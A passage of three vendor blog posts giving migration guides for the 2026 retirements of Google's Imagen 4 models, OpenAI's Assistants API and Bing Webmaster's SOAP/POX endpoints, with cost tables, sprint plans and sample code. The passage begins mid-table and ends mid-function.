`gemini-3.1-flash-image`, 2K (2048x2048)	$60.00 per 1M tokens	$0.101 (1,680 tokens)	—	—
`gemini-3.1-flash-image`, 4K (4096x4096)	$60.00 per 1M tokens	$0.151 (2,520 tokens)	—	—

Three observations that matter more than the headline rate.

Resolution is the biggest lever you control. Going from 4K to 1K on the same model cuts the per-image cost from $0.151 to $0.067, a 56% reduction, because the image consumes 1,120 output tokens instead of 2,520. Most pipelines generating thumbnails, product tiles or social crops are paying 4K rates for assets that get downsampled anyway. Audit your image_size before you audit anything else.

Batch is half price and most image pipelines are batchable. Standard 1K at $0.067 becomes $0.034 on the batch tier. If your generation is a nightly job, a content pipeline or anything that does not need a synchronous response, that is a 49% saving for a scheduling change.

The fan-out has an input-token cost. Under Imagen 4, one call with number_of_images=4 sent the prompt once. Under the Gemini models, four calls send the prompt four times, each billing input at $0.50 per 1M tokens on the standard tier. For a short prompt that is negligible; for a pipeline that sends a long style guide or reference images with every request, it is four times the input bill for the same four outputs. Where you are generating variants of the same prompt, that repeated input is the line item to check.

Imagen 4's own per-image prices are no longer on the Gemini API pricing page, which lists Imagen only as a navigation link with no rate table. You cannot look up what you are currently paying from the primary source, so pull the actual figure from your billing console rather than a third-party comparison page.

What you lose, and what you gain

The migration is not purely a rename, and some Imagen-specific configuration has no direct successor in the same form.

Imagen 4 capability	Detail as documented	After migration
`numberOfImages`	1 to 4, default 4	No equivalent; fan out in application code
`imageSize`	`1K` and `2K`, Standard and Ultra models only	Gemini image models are priced at 0.5K, 1K, 2K and 4K, so 4K becomes available
`aspectRatio`	`"1:1"`, `"3:4"`, `"4:3"`, `"9:16"`, `"16:9"`, default `"1:1"`	Check the image generation guide for the current parameter before assuming parity
`personGeneration`	`"dont_allow"`, `"allow_adult"` (default), `"allow_all"`	Verify the equivalent control; `"allow_all"` was already blocked in EU, UK, CH and MENA locations
Prompt length	Maximum 480 tokens, English only	Gemini image models are general multimodal models, not subject to the Imagen text-only limit
SynthID	"All generated images include a SynthID watermark"	Verify watermarking behaviour on the target model before shipping regulated content
Response object	`response.generated_images[].image`	`response.candidates[0].content.parts[].inline_data`

The gains are real. You get 4K output, which Imagen 4 did not offer through this API — its imageSize topped out at 2K. You get interleaved text and image responses, which makes conversational editing possible in a way the predict-style endpoint did not. And you get a cheaper per-image floor via the lite model and the batch tier.

The losses are mostly ergonomic. Losing number_of_images is the one that touches real code, and the fan-out above closes it.

A twelve-day plan

Twelve days from 5 August 2026. This is small enough to be done inside one sprint if it is started now.

Days	Action	Exit criteria
1	Grep for `generate_images`, `generateImages`, `GenerateImages`, `imagen-4.0`, `generated_images` and `:predict` across every repository, notebook and scheduled job	A list of call sites with an owner each
1	Pull last month's image counts and resolutions from billing; decide the target model and tier per pipeline	A written before/after cost estimate
2–4	Swap the method and the response parsing; add the fan-out helper where `number_of_images` was used; handle the `part.text` branch	Unit tests pass against the new response shape
5–7	Verify the parameters you relied on — aspect ratio, resolution, person generation, watermarking — against the image generation guide on the target model	A parity checklist with a pass or an accepted difference per row
8–10	Run both paths side by side on a sample workload; compare output quality, latency and per-image cost	Quality signed off by whoever owns the output
11–12	Cut over, delete the Imagen path, and alert on any non-image response	No `imagen-4.0` string anywhere in the codebase
Also by 10 August	Check for `embedding-2-preview` usage — it shuts down that day, replaced by `gemini-embedding-2`	Embedding calls confirmed on a supported model

The last row is the one that catches people. Teams doing an image migration in the first half of August will not be looking at their embedding model, and embedding-2-preview goes five days before Imagen does.

India-specific considerations

For teams in Gurugram, Bengaluru, Pune and Hyderabad running image generation at volume for D2C catalogues, marketplace listings or ad creative, three points apply.

The batch tier is the single largest saving available and it fits Indian catalogue workflows well. Product imagery for a listing refresh does not need a synchronous response. Moving that generation to batch takes a 1K image from $0.067 to $0.034, and at catalogue scale — tens of thousands of images per refresh cycle — that difference is the entire argument for scheduling the job overnight rather than generating on upload.

Resolution discipline matters more here than in most markets, because marketplace and quick-commerce listing specs are modest. If your target surface renders at 1024px or below, generating at 4K and downsampling costs $0.151 instead of $0.067 for an asset nobody sees at full resolution.

On governance, personGeneration on Imagen 4 had a documented regional restriction — "allow_all" was "not allowed in EU, UK, CH, MENA locations" — and any equivalent control on the target model needs to be verified rather than assumed, particularly if you generate imagery depicting people for campaigns that run across those regions. Where generated imagery is derived from customer photographs or user-submitted references, the Digital Personal Data Protection Act 2023 obligations attached to that source data follow it into the generation pipeline, so keep the reference store governed the same way as the rest of your customer data.

The pattern worth noticing

This is the second image-model migration in roughly a year for anyone who was on Imagen 3, which the same documentation records as already shut down. The Gemini API deprecations page shows the cadence clearly: preview models routinely carry shutdown dates a few months out, and even GA models get them. gemini-2.5-flash-image, released 2 October 2025, has a shutdown date exactly one year later.

The practical response is architectural rather than tactical. Put the model ID in configuration, not in a call site. Wrap generation behind one function with a stable signature — the fan-out helper above is a start — so that the next deprecation is a config change and a parsing tweak rather than a search through six repositories. Teams that did this after the Imagen 3 shutdown will spend an afternoon on 17 August. Teams that did not will spend the week.

FAQ

Which Imagen models shut down on 17 August 2026?

Three of them: imagen-4.0-generate-001, imagen-4.0-ultra-generate-001 and imagen-4.0-fast-generate-001. All three were released on 24 June 2025 and all three carry the same 17 August 2026 shutdown date in the Gemini API deprecations table. Imagen 3's imagen-3.0-generate-002 was already shut down earlier, on 10 November 2025.

Should I migrate to gemini-2.5-flash-image or gemini-3.1-flash-image?

Use gemini-3.1-flash-image. Google's Imagen guide page names gemini-2.5-flash-image, but the deprecations table gives that model its own shutdown date of 2 October 2026. Migrating there means repeating this exercise 46 days later. The deprecations table names gemini-3.1-flash-image, which has no shutdown date announced.

What are the three code changes I have to make?

Call client.models.generate_content instead of client.models.generate_images. Read images from response.candidates[0].content.parts by checking each part for inline_data, rather than from response.generated_images. And replace number_of_images, which does not exist on Gemini image models, with your own fan-out because each call returns one image.

How much does an image cost after migrating?

On gemini-3.1-flash-image, image output bills at $60.00 per 1M tokens, which Google states as $0.045 per 0.5K image, $0.067 per 1K, $0.101 per 2K and $0.151 per 4K. The batch tier halves those figures, putting a 1K image at $0.034, and gemini-3.1-flash-lite-image lists $0.0336 per 1K image on standard.

Does the fan-out cost more than a single Imagen call did?

For the output, no — you pay per image either way. For input, yes. One Imagen call with number_of_images=4 sent the prompt once; four Gemini calls send it four times, billed at $0.50 per 1M input tokens on the standard tier. That matters when the prompt carries long style instructions or reference images.

What else in the Gemini API shuts down around the same time?

Two other models in the same window. embedding-2-preview shuts down on 10 August 2026, with gemini-embedding-2 named as the replacement, and gemini-robotics-er-1.6-preview shuts down on 31 August 2026, replaced by gemini-robotics-er-2-preview. Both are easy to miss while you are auditing image generation code specifically, and the embedding one lands first.

Is the 17 August date firm?

Google's deprecations page notes that listed dates "indicate the earliest possible dates on which a model might be retired" and that it will communicate exact dates with advance notice. That is a softening in principle, not a reprieve. Treat 17 August 2026 as the deadline and plan for the endpoint being unavailable.

Do I get anything back from this migration?

Yes. 4K output becomes available, where Imagen 4's imageSize supported only 1K and 2K and only on the Standard and Ultra models. Responses can interleave text with images, which makes conversational editing workflows possible. And the batch tier and the lite model both offer a lower per-image floor than the standard rate.

How eCorpIT can help

We run image and model migrations like this one for teams that discovered the deadline late: inventory the call sites, model the per-image cost against your real resolution mix, swap the call and the parsing, and verify parameter parity before cutover rather than after. eCorpIT is CMMI Level 5 and ISO 27001:2022 certified, and our senior engineering teams design generation pipelines aligned with DPDP requirements. If 17 August is on your calendar without an owner, talk to us.

Related reading: our AI image generation API cost comparison sets these rates against the other providers, the Nano Banana 2 versus Nano Banana Pro production comparison covers model selection for production work, the Gemini video generation cost guide applies the same per-token arithmetic to video, and the frontier model comparison is the pillar for this cluster.

References

Last updated: 5 August 2026.

OpenAI Assistants API shuts down 26 August 2026: a 3-week migration sprint plan

Manu Shukla — Wed, 05 Aug 2026 10:00:42 +0000

OpenAI Assistants API shuts down 26 August 2026: a 3-week migration sprint plan

Summary. OpenAI removes the Assistants API on 26 August 2026, three weeks from today. The deprecation was announced on 26 August 2025 with a full year of notice, and OpenAI's documentation now files Assistants under "Legacy APIs" alongside Agent Builder, Evals and self-serve fine-tuning. The replacement is the Responses API plus the Conversations API, and the object mapping is short: Assistants become Prompts, Threads become Conversations, Runs become Responses, Run steps become Items. Two things about this migration are consistently underestimated. First, tool-call orchestration moves into your application code, OpenAI's own guide states that with Responses, "tool call loops are explicitly managed". Second, the cost shape changes even though the token rates do not: OpenAI's pricing page is explicit that "Responses API, Chat Completions API, Realtime API, Batch API, and Assistants API are not priced separately", yet file-search tool calls at $2.50 per 1,000 apply "to the Responses API only", and Code Interpreter has moved from a one-hour session to a 20-minute container billed from $0.03 to $1.92 depending on size. A workload that ran on 1-hour Code Interpreter sessions and heavy file search can cost meaningfully more after a like-for-like port. Three weeks is enough time to do this properly. It is not enough time to discover the cost change in your September invoice.

There is also a trap in the recommended path. OpenAI tells you to recreate each Assistant as a reusable prompt object, and reusable prompt objects are themselves deprecated, with the v1/prompts API scheduled to shut down on 30 November 2026. Migrating straight onto prompts means migrating onto a second deprecated object with a 96-day life.

What is actually being removed, and when

OpenAI's deprecations page records the sequence precisely: "On August 26th, 2025, we notified developers using the Assistants API of its deprecation and removal from the API one year later, on August 26, 2026." The migration guide repeats the date in a banner: "After achieving feature parity in the Responses API, we've deprecated the Assistants API. It will shut down on August 26, 2026."

OpenAI's own definitions matter here, because "deprecated" and "shut down" are not the same thing on this platform. From the deprecations page: "We use the term 'deprecation' to refer to the process of retiring a model or endpoint… All deprecated models and endpoints will also have a shut down date. At the time of the shut down, the model or endpoint will no longer be accessible." And: "We use the terms 'sunset' and 'shut down' interchangeably to mean a model or endpoint is no longer accessible."

The Assistants API has been deprecated for a year. On 26 August 2026 it becomes inaccessible. Any client.beta.threads.* call in your codebase stops working on that date.

The Assistants shutdown is one of five endpoint retirements OpenAI has scheduled across late 2026. The table below is the calendar worth putting on a wall, because teams often migrate off one of these and straight onto another.

Endpoint or platform	Announced	Shutdown	Where it leaves you
Assistants API	26 August 2025	26 August 2026	Responses API + Conversations API
Reusable prompt objects (`v1/prompts`)	3 June 2026	30 November 2026	Move prompt content into application code
Evals dashboard and API	3 June 2026	30 November 2026 (read-only from 31 October 2026)	No in-platform evals
Agent Builder	3 June 2026	30 November 2026	Agents SDK or ChatGPT Workspace Agents
Self-serve fine-tuning platform	,	Winding down; closed to new users	Fine-tuned models run until their base models are deprecated

Read that table before you design your migration, not after. The path OpenAI's own migration guide recommends, recreate Assistants as dashboard prompts — lands you on a row that expires 96 days after the row you are escaping.

The object mapping

OpenAI's migration guide gives the mapping directly:

Before	Now	Why (OpenAI's stated reason)
`Assistants`	`Prompts`	"Prompts hold configuration (model, tools, instructions) and are easier to version and update"
`Threads`	`Conversations`	"Streams of items instead of just messages"
`Runs`	`Responses`	"Responses send input items or use a conversation object and receive output items; tool call loops are explicitly managed"
`Run steps`	`Items`	"Generalized objects—can be messages, tool calls, outputs, and more"
Messages	Items (a subset)	"Threads could only store messages. Conversations store items, which can include messages, tool calls, tool outputs, and other data"

Notice the row that is not a rename. Runs to Responses changes who runs the loop. Under Assistants, a run entered requires_action, you submitted tool outputs, and OpenAI resumed the run. Under Responses, as OpenAI puts it, "Your application code now handles orchestration (history pruning, tool loop, retries) while your prompt focuses on high-level behavior and constraints." That is the migration's real work item. Everything else is renaming.

The code change

The before-and-after in OpenAI's guide is unusually stark. Here is the polling shape you are removing:

run = openai.beta.threads.runs.create(
    thread_id=thread_id,
    assistant_id=assistant_id,
)

while run.status in ("queued", "in_progress"):
    time.sleep(1)
    run = openai.beta.threads.runs.retrieve(thread_id=thread_id, run_id=run.id)

And the shape you are moving to:

response = openai.responses.create(
    model="gpt-5.6",
    input=[{"role": "user", "content": "What are the 5 Ds of dodgeball?"}],
    conversation=conversation_id,
)

Thread creation becomes conversation creation, with messages becoming items:

# Before
thread = openai.beta.threads.create(
    messages=[{"role": "user", "content": "what are the 5 Ds of dodgeball?"}],
    metadata={"user_id": "peter_le_fleur"},
)

# After
conversation = openai.conversations.create(
    items=[{"role": "user", "content": "what are the 5 Ds of dodgeball?"}],
    metadata={"user_id": "peter_le_fleur"},
)

In OpenAI's full chat-application example, a 34-line handler with a polling loop becomes a 17-line handler with one call. The response object carries conversation, previous_response_id, store and background fields; the guide notes that using a conversation object "lets you manage conversations instead of passing back previous_response_id".

One field disappears quietly and is worth checking for in your code. The thread object had tool_resources; the conversation object in OpenAI's example does not. If you attached per-thread vector stores or Code Interpreter files through tool_resources, that wiring has to be rebuilt on the Responses side.

Three things the guide says you have to do by hand

These are the items that turn a "rename some calls" estimate into a real sprint.

Assistants can no longer be created via API. OpenAI is explicit: prompts "can only be created in the dashboard, where you can version them as you develop your product." If you provision assistants programmatically — one per tenant, one per workflow, one per customer — that pattern has no successor. OpenAI's suggested mitigation is to "Store the prompt ID (or its exported spec) in source control so application code can refer to a stable identifier" and to "run A/B tests by swapping prompt IDs—no need to create or delete assistant objects programmatically." For a single-tenant product that is fine. For a multi-tenant SaaS that spun up an assistant per customer, it is a redesign.

There is no automated thread migration. In OpenAI's words: "We will not provide an automated tool for migrating Threads to Conversations. Instead, we recommend migrating new user threads onto conversations and migrating older ones as necessary." That implies a dual-path period where new sessions run on Conversations and old ones still read from Threads — and Threads stop existing on 26 August 2026, so any history you want to keep has to be copied before that date.

The backfill script OpenAI publishes handles two content types:

for content in m.content:
    match content.type:
        case "text":
            item_content_type = "input_text" if m.role == "user" else "output_text"
            item_content += [{"type": item_content_type, "text": content.text.value}]
        case "image_url":
            item_content += [{
                "type": "input_image",
                "image_url": content.image_url.url,
                "detail": content.image_url.detail,
            }]

conversation = openai.conversations.create(items=items)

There is no case for file attachments, tool outputs, or annotations. Citations from file search in historical threads are dropped by this script. If your product shows source citations on past conversations, extend the script or accept the loss knowingly.

The recommended target is deprecated. The migration guide itself carries the warning: "Reusable prompt objects are also being deprecated. If you use this migration path, review the prompts deprecation timeline before adopting prompt objects in a long-lived integration." Our advice for anything with a life beyond this year: skip prompts, put instructions and tool schemas in your own code under version control, and pass them on each responses.create call. You get the same versioning benefit from your existing Git history, and you do not repeat this exercise in November.

The cost changes nobody prices in

OpenAI's pricing page states plainly that the API surface itself is not a billing dimension: "Responses API, Chat Completions API, Realtime API, Batch API, and Assistants API are not priced separately. Tokens are billed at the chosen model's input and output rates." So a straight port with the same model and the same token volume costs the same. Two tool lines are where the change hides.

Cost line	Under Assistants	Under Responses (as listed, August 2026)	Effect of a like-for-like port
Model tokens	Model rate	Same model rate — for example `gpt-5.6-terra` at $2.00 input / $12.00 output per 1M tokens	Neutral
File search storage	$0.10 per GB per day, first GB free	$0.10 per GB per day, first GB free	Neutral
File search tool calls	Not billed as a separate line	$2.50 per 1,000 calls — OpenAI notes this "applies to the Responses API only"	New line item on every retrieval-heavy workload
Code Interpreter	$0.03 per session, session active for one hour	Container pricing: 1 GB $0.03, 4 GB $0.12, 16 GB $0.48, 64 GB $1.92 per 20-minute session, billed by the minute with a 5-minute minimum	A one-hour working session now spans three 20-minute containers
Data residency endpoints	—	10% uplift for models released on or after 5 March 2026 that are eligible for data residency	Relevant if you pin processing to a region
Fast mode	—	Renamed from Priority processing on 30 July 2026; `service_tier: "priority"` and `"fast"` both accepted	No action, but check hardcoded values

Work the second and fourth rows against your own volumes before you commit to a design. A support assistant handling 200,000 retrieval-backed conversations a month, each making one file-search call, picks up a $500 monthly line that did not exist on the same workload under Assistants. And a data-analysis assistant whose users keep a Code Interpreter session alive for an hour was paying $0.03 for that hour; on the 1 GB container tier the same hour spans three sessions.

The honest framing: for most chat workloads the migration is cost-neutral and the code gets shorter. For retrieval-heavy and Code Interpreter-heavy workloads, model the tool lines first. The right time to renegotiate an architecture is while you are already rewriting the call sites.

The three-week sprint plan

Twenty-one days from 5 August 2026 to the shutdown. This is the shape we would run it in.

Week	Focus	Exit criteria
Week 1 (5–11 Aug)	Inventory and decide. Grep for `beta.threads`, `beta.assistants`, `assistant_id`, `requires_action`, `submit_tool_outputs`, `tool_resources`. List every assistant, every tool it declares, every thread-retention promise made to users	A written inventory with an owner and a decision per assistant: port, redesign, or retire
Week 1	Model the tool costs against last month's actual file-search call counts and Code Interpreter session durations	A one-page before/after cost estimate signed off by whoever owns the bill
Week 2 (12–18 Aug)	Rebuild. Move instructions and tool schemas into versioned application code; replace the run/poll loop with an explicit tool-call loop around `responses.create`; rebuild `tool_resources` attachments as Responses-side tool config	The Responses path passes your existing test suite behind a feature flag
Week 2	Write and dry-run the thread backfill against a copy, extending OpenAI's script for any content type you actually store	Backfill completes on a sample tenant with item counts matching
Week 3 (19–25 Aug)	Cut over by cohort, smallest first. Run backfill for threads you have promised to retain. Watch error rates, latency and tool-call counts daily	Every cohort on Responses; no `beta.threads` call in the last 48 hours of logs
26 August 2026	Shutdown day. Confirm zero traffic to the legacy path and no error spike	Alerting green; legacy code deleted, not just disabled

Two notes on sequencing. Do the cost model in week 1, not week 3 — if the numbers argue for changing the retrieval design, you want that decision before you rewrite the call sites, not after. And cut over by cohort rather than by feature flag percentage, because conversation state is per user: a user who flips mid-session between Threads and Conversations loses context.

If you slip past 26 August, the failure is not graceful. Calls to a shut-down endpoint fail, and an assistant-backed feature in a production application fails with them.

India-specific considerations

Three points for Indian teams and for engineering leaders in Gurugram, Bengaluru, Pune and Hyderabad running this migration for global customers.

Data residency has a listed price now. OpenAI's pricing page states that "Regional processing (data residency) endpoints are charged a 10% uplift for models released on or after March 5, 2026, that are eligible for data residency." If your Digital Personal Data Protection Act 2023 posture, or a customer contract, requires regional processing, that uplift belongs in the migration cost model rather than arriving as a surprise. Teams should also note that OpenAI models served through Amazon Bedrock "are billed through AWS and may differ from direct OpenAI pricing", which changes the arithmetic if you route through a cloud marketplace for procurement reasons.

Conversation storage is a data-governance decision, not just an API one. Conversations persist items server-side by default — the response object shows "store": true. Under Assistants your threads were already server-side, so this is not new, but a migration is the natural moment to decide what you actually need retained, for how long, and whether transcripts belong in your own store instead. Teams handling health, financial or identity data should make that call deliberately.

On staffing, three weeks is a sprint, and this work needs someone who has held the tool-call loop before. The orchestration that OpenAI used to run inside a run — retries, tool timeouts, partial failures, history pruning — is code you now own and have to get right under a deadline. This is the part where teams with no prior agent-loop experience lose a week.

What good looks like after the migration

The end state is worth naming, because "it still works" is a low bar for a rewrite you were forced into.

Instructions and tool schemas live in your repository, versioned with your application, not in a dashboard object with its own deprecation date. The tool-call loop is explicit, tested and instrumented, so a tool that starts timing out shows up on a dashboard rather than as a slow conversation. Retrieval calls are counted, because they are now billed. Conversation retention is a decision someone made, with a stated period. And the legacy path is deleted rather than flag-disabled, so nobody re-enables it in a rollback six months from now.

That is a better system than the one you had. The migration is not optional, so the only real choice is whether you get that improvement out of it or just survive the date.

FAQ

When exactly does the Assistants API stop working?

26 August 2026. OpenAI notified developers on 26 August 2025 of the deprecation and removal one year later, and the migration guide repeats the date. On the shutdown date the endpoint becomes inaccessible, so calls to client.beta.threads and related methods fail rather than degrade with warnings first.

What replaces Assistants, Threads, Runs and Run steps?

Assistants map to Prompts, Threads to Conversations, Runs to Responses, and Run steps to Items. OpenAI describes Items as "Generalized objects—can be messages, tool calls, outputs, and more". Conversations store items rather than only messages, so tool calls and outputs live alongside the message history.

Does migrating change what I pay per token?

No. OpenAI's pricing page states that the Responses, Chat Completions, Realtime, Batch and Assistants APIs "are not priced separately" and that tokens bill at the chosen model's input and output rates. The changes are in tool pricing, specifically file-search tool calls and Code Interpreter container sessions, not in the model rates.

Which tool costs actually change?

Two. File search tool calls are listed at $2.50 per 1,000 and OpenAI notes this pricing "applies to the Responses API only". Code Interpreter moves to container pricing: 1 GB at $0.03 through 64 GB at $1.92, per 20-minute session, billed by the minute with a five-minute minimum rather than the previous one-hour session.

Will OpenAI migrate my existing threads for me?

No. The guide states directly that OpenAI "will not provide an automated tool for migrating Threads to Conversations" and recommends putting new threads on conversations while backfilling older ones as needed. OpenAI publishes a Python backfill script, but it handles only text and image content types.

Should I recreate my assistants as reusable prompts?

Be careful. That is OpenAI's documented path, but reusable prompt objects are themselves deprecated, with the v1/prompts API scheduled to shut down on 30 November 2026. For anything long-lived, put instructions and tool schemas into versioned application code instead and avoid running two migrations in one quarter.

Can I still create assistants programmatically?

No. Prompts, the replacement configuration object, "can only be created in the dashboard" according to OpenAI's migration guide. Teams that provisioned one assistant per tenant or per workflow through the API need a different design, typically a single prompt or in-code configuration parameterised at request time.

What is the biggest engineering change in the rewrite?

Tool-call orchestration. OpenAI states that with Responses, "tool call loops are explicitly managed" and that "Your application code now handles orchestration (history pruning, tool loop, retries)". The polling loop around run status disappears, replaced by your own loop that dispatches tool calls and feeds outputs back into the next response.

How eCorpIT can help

eCorpIT runs exactly this kind of deadline-bound migration: inventory the assistants and call sites, model the tool-cost change against your actual usage before any code moves, rebuild the tool loop with tests and instrumentation, and cut over by cohort with the backfill run against a copy first. Founded in 2021 and based in Gurugram, we are CMMI Level 5 and ISO 27001:2022 certified, and our senior engineering teams design AI systems aligned with DPDP requirements. Typical engagements here are a scoped three-week sprint with a named engineering lead, sized after a short discovery call. If 26 August is on your calendar without an owner, talk to us.

Related reading: our AI agent pilot to production service covers the orchestration and evaluation work this migration exposes, the enterprise AI agents production guide is the pillar for this cluster, and the Assistants API to Responses migration walkthrough and Azure OpenAI Assistants to Foundry Agents guide cover the direct-OpenAI and Azure paths respectively. For teams reconsidering the model alongside the API, our LLM migration and cost optimization service covers the pricing analysis.

References

Last updated: 5 August 2026.

Bing SOAP and POX APIs retire 31 August 2026: the JSON migration checklist

Manu Shukla — Wed, 05 Aug 2026 09:54:37 +0000

Bing SOAP and POX APIs retire 31 August 2026: the JSON migration checklist

Summary. Microsoft will stop serving the Bing Webmaster Tools SOAP and POX/HTTP endpoints on 31 August 2026, leaving JSON/HTTP as the only supported protocol. The notice published on Bing's help site is blunt: after that date, "requests to these endpoints will no longer be served." There is no throttling phase and no announced grace period. What survives the cutover is most of your integration — the same API key, the same daily ceiling of 10,000 submitted URLs per site, the same batch limit of 500 URLs per call, and the same method names. What breaks is the URL path, the XML request and response bodies, and any WCF service reference generated from the WSDL at https://ssl.bing.com/webmaster/api.svc?wsdl. It follows a year of closures on the same platform: the Bing Search and Bing Custom Search APIs went dark on 11 August 2025, and PPC Land reported in June 2025 that the recommended replacement, Grounding with Bing Search, was listed at $35 per 1,000 transactions against the retiring S3 tier's $6 per 1,000. The Webmaster Tools API, by contrast, stays free. The only cost here is engineering time, and you have until 31 August 2026 to spend it.

Most teams will find this is a two-hour change. The teams that will not are the ones running a C# client built through Visual Studio's "Add Service Reference" wizard, because that code is generated against the SOAP contract and has to be replaced rather than repointed.

What Microsoft actually announced

The retirement was flagged in early August 2026 on Bing's official channels and picked up by Search Engine Roundtable on 3 August 2026. Krishna Madhavan, Principal Product Manager at Microsoft AI, Bing, posted the reminder:

"These legacy APIs will be retired on August 31, 2026. Please review the migration guidance and plan your move to our REST/JSON APIs."

The notice on the Bing Webmaster Tools help site carries the operative wording: "The SOAP and POX/HTTP APIs will be retired on August 31, 2026. After this date, requests to these endpoints will no longer be served. Migrate to the JSON/HTTP (REST) API before August 31, 2026 to avoid service interruption."

Read "no longer be served" literally. A deprecation that degrades gracefully gives you a warning header, a 299 response, or a sunset window with rising error rates. This one is a switch. If your nightly indexing job still POSTs to /webmaster/api.svc/pox/SubmitUrlBatch on 1 September 2026, it fails, and because most teams wrap URL submission in a fire-and-forget task, it may fail silently for weeks before anyone notices the drop in Bing-discovered pages.

Note the wording: "plan your move", not "your calls will keep working". Microsoft's own guidance elsewhere has already shifted, which matters for step 4 below — for a large share of integrations the right answer is no longer "port the SOAP call to JSON".

What does not change

Microsoft has been unusually specific about the parts of the contract that are stable. From the retirement notice:

Every API method remains available over JSON/HTTP with identical functionality.
Your existing API key continues to work. No re-issuance is required.
Quotas, rate limits and permissions are unchanged.
The JSON/HTTP endpoints continue to be supported and actively developed.

That last point is the one worth internalising before you scope the work. This is not a platform migration in the sense that the Bing Search API shutdown was, where the replacement had a different data model, a different billing model and lived inside Azure. Here you are changing a path segment and a serialisation format against the same backend, the same account and the same key.

The published quota behaviour is unchanged too. GetUrlSubmissionQuota returns a DailyQuota and MonthlyQuota pair; Bing's own documentation example shows a response of {"DailyQuota": 973, "MonthlyQuota": 10973}. The 10,000-URLs-per-day allowance introduced with the Adaptive URL Submission programme in January 2019 still governs, and SubmitUrlBatch still caps at 500 URLs per request unless your remaining quota is lower.

The endpoint map: before and after

Three protocols, one survivor. The table below is the substitution list to work through.

What you call today	What it becomes after 31 August 2026	What else has to change
`https://ssl.bing.com/webmaster/api.svc/soap?apikey=API_KEY`	`https://ssl.bing.com/webmaster/api.svc/json/METHOD_NAME?apikey=API_KEY`	Delete the WCF service reference and the `system.serviceModel` block in `app.config`; replace the generated client with an HTTP client
`https://ssl.bing.com/webmaster/api.svc?wsdl`	No equivalent — the JSON API has no WSDL	Method signatures come from the API reference, not from code generation
`.../api.svc/pox/METHOD_NAME?apikey=…&param=VALUE` (GET)	`.../api.svc/json/METHOD_NAME?apikey=…&param=VALUE` (GET)	Parse JSON instead of XML; results arrive wrapped in a `d` property
`.../api.svc/pox/METHOD_NAME?apikey=API_KEY` (POST)	`.../api.svc/json/METHOD_NAME?apikey=API_KEY` (POST)	`Content-Type: application/xml` becomes `application/json`; the XML body becomes a JSON object
POX fault: `<root type="object"><ErrorCode type="number">3</ErrorCode><Message>InvalidApiKey</Message></root>`	JSON fault: `{"ErrorCode":3,"Message":"InvalidApiKey"}`	Error handling that regex-matches XML or catches `FaultException<ApiFault>` has to be rewritten
SOAP `FaultException<WebmasterApi.ApiFault>`	HTTP 400 with a JSON error body	Exception-based control flow becomes status-code checking

Two details in that table cause most of the avoidable breakage.

The first is the d envelope. POX and JSON do not return the same shape. A GetUrlSubmissionQuota call over JSON returns {"d": {"__type": "UrlSubmissionQuota:#Microsoft.Bing.Webmaster.Api", "DailyQuota": 973, "MonthlyQuota": 10973}}. Code that reads response["DailyQuota"] will throw a KeyError; it needs response["d"]["DailyQuota"]. Write-style calls such as SubmitUrl and SubmitUrlBatch return {"d": null} on success, which is easy to mistake for a failure if your client treats a null payload as an error.

The second is method-name casing. Bing's cURL guidance on the Webmaster blog uses SubmitUrlBatch, while the JSON request sample on the Microsoft Learn reference page for the same method shows the path as SubmitUrlbatch with a lowercase b. The documentation is inconsistent. Test the exact string your client sends against a low-value URL before you cut over a production job, and log the response body rather than only the status code.

Step 1: find every legacy call in your codebase

Do this before you estimate the work. Legacy Bing calls hide in scheduled jobs, CMS plugins, deployment hooks and one-off scripts far more often than in application code.

# Endpoint paths, WSDL references and the generated SOAP client, in one pass
grep -rEn "api\.svc/(soap|pox)|api\.svc\?wsdl|ssl\.bing\.com/webmaster" \
  --include='*.{py,js,ts,cs,php,rb,go,java,xml,config,json,yml,yaml,sh}' .

# The C# service-reference tell-tales, which grep for the endpoint alone will miss
grep -rn "WebmasterApiClient\|IWebmasterApi\|BasicHttpBinding_IWebmasterApi" .

Then widen the search beyond the repository. Check your CI secrets and environment variables for a Bing API key (its presence tells you a job exists somewhere), your cron and scheduler definitions, any WordPress or Drupal SEO plugin that offers "submit to Bing", and any sitemap-generation step in your deploy pipeline. On a mid-sized publishing stack we would expect three to five call sites, not one.

Step 2: rewrite the calls

The JSON API is plain HTTP. Here is submission, batch submission and a quota check, first as shell commands you can paste to confirm your key works, then as production Python.

# Single URL
curl -X POST "https://ssl.bing.com/webmaster/api.svc/json/SubmitUrl?apikey=API_KEY" \
  -H "Content-Type: application/json" -H "charset: utf-8" \
  -d '{"siteUrl":"https://www.example.com","url":"https://www.example.com/about"}'
# -> {"d": null}

# Batch (max 500 per call)
curl -X POST "https://ssl.bing.com/webmaster/api.svc/json/SubmitUrlBatch?apikey=API_KEY" \
  -H "Content-Type: application/json" -H "charset: utf-8" \
  -d '{"siteUrl":"https://www.example.com","urlList":["https://www.example.com/about","https://www.example.com/projects"]}'
# -> {"d": null}

# Remaining quota
curl "https://ssl.bing.com/webmaster/api.svc/json/GetUrlSubmissionQuota?siteUrl=https://www.example.com&apikey=API_KEY"
# -> {"d":{"__type":"UrlSubmissionQuota:#Microsoft.Bing.Webmaster.Api","DailyQuota":973,"MonthlyQuota":10973}}

Bing's own guidance is explicit that cURL is for prototyping: use "a server-side script or application in your preferred language to handle authentication, batching, or error handling" in production. The Python below does the three things the shell version does not — it respects the batch ceiling, checks quota before spending it, and unwraps the d envelope.

import json, math, urllib.request, urllib.error

BASE = "https://ssl.bing.com/webmaster/api.svc/json"
BATCH_MAX = 500  # Microsoft's documented per-call ceiling


def _call(method, payload=None, params=None, api_key=""):
    qs = "?apikey=" + api_key
    for k, v in (params or {}).items():
        qs += "&%s=%s" % (k, urllib.parse.quote(str(v), safe=""))
    body = json.dumps(payload).encode() if payload is not None else None
    req = urllib.request.Request(
        "%s/%s%s" % (BASE, method, qs), data=body,
        method="POST" if body else "GET",
        headers={"Content-Type": "application/json; charset=utf-8"},
    )
    try:
        with urllib.request.urlopen(req, timeout=30) as r:
            raw = r.read().decode() or "{}"
    except urllib.error.HTTPError as e:
        # JSON API returns HTTP 400 with {"ErrorCode": n, "Message": "..."}
        detail = e.read().decode(errors="replace")
        raise RuntimeError("Bing %s failed: HTTP %s %s" % (method, e.code, detail))
    return json.loads(raw).get("d")  # unwrap the d envelope


def remaining_daily_quota(site_url, api_key):
    d = _call("GetUrlSubmissionQuota", params={"siteUrl": site_url}, api_key=api_key)
    return int(d["DailyQuota"])


def submit_urls(site_url, urls, api_key):
    budget = remaining_daily_quota(site_url, api_key)
    if budget <= 0:
        return 0
    urls = list(dict.fromkeys(urls))[:budget]  # de-dupe, then clamp to quota
    sent = 0
    for i in range(0, len(urls), BATCH_MAX):
